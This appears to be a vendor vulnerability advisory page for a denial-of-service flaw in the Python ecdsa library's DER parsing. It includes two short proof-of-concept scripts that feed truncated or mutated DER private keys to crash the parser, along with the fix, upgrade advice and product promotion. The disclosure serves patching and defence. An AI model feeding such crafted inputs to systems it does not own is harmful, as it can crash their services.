GHSA-9f5j-8jwj-x28g is a medium-severity (CVSS 5.3) Improper Input Validation vulnerability in ecdsa. A fix is available for ecdsa — see the affected versions and patch details below.
python-ecdsa: Denial of Service via improper DER length validation in crafted private keys
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9f5j-8jwj-x28g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9f5j-8jwj-x28g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
ecdsaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
-
ecdsa.der.remove_octet_string()accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. -
Because of that, a crafted DER input can cause
SigningKey.from_der()to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raisingUnexpectedDERorValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.
Impact
Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.
Reproduction
Attach and run the following PoCs:
poc_truncated_der_octet.py
from ecdsa.der import remove_octet_string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"
try:
body, rest = remove_octet_string(bad)
print("[BUG] remove_octet_string accepted truncated DER.")
print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)
- Expected: reject malformed DER when declared length exceeds available bytes
- Actual: accepts the truncated DER and returns a shorter body
- Example output:
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)
poc_signingkey_from_der_indexerror.py
from ecdsa import SigningKey, NIST256p
import ecdsa
print("ecdsa version:", ecdsa.__version__)
sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))
def find_crashing_mutation(data: bytes):
b = bytearray(data)
# Try every OCTET STRING tag position and corrupt a short-form length byte
for i in range(len(b) - 4):
if b[i] != 0x04: # OCTET STRING tag
continue
L = b[i + 1]
if L >= 0x80:
# skip long-form lengths for simplicity
continue
max_possible = len(b) - (i + 2)
if max_possible <= 10:
continue
# Claim more bytes than exist -> truncation
newL = min(0x7F, max_possible + 20)
b2 = bytearray(b)
b2[i + 1] = newL
try:
SigningKey.from_der(bytes(b2))
except Exception as e:
return i, type(e).__name__, str(e)
return None
res = find_crashing_mutation(good)
if res is None:
print("[INFO] No exception triggered by this mutation strategy.")
else:
i, etype, msg = res
print("[BUG] SigningKey.from_der raised unexpected exception type.")
print("Offset:", i, "Exception:", etype, "Message:", msg)
- Expected: reject malformed DER with
UnexpectedDERorValueError - Actual: deterministically triggers an internal
IndexError(DoS risk) - Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')
Suggested fix
Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():
remove_octet_string()remove_constructed()remove_implicit()
Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.
Credit
Mohamed Abdelaal (@0xmrma)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | ecdsa | all versions | 0.19.2pip install --upgrade 'ecdsa==0.19.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ecdsa, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ecdsa to 0.19.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9f5j-8jwj-x28g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9f5j-8jwj-x28g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9f5j-8jwj-x28g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9f5j-8jwj-x28g in your dependencies?
O3 Security finds GHSA-9f5j-8jwj-x28g across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.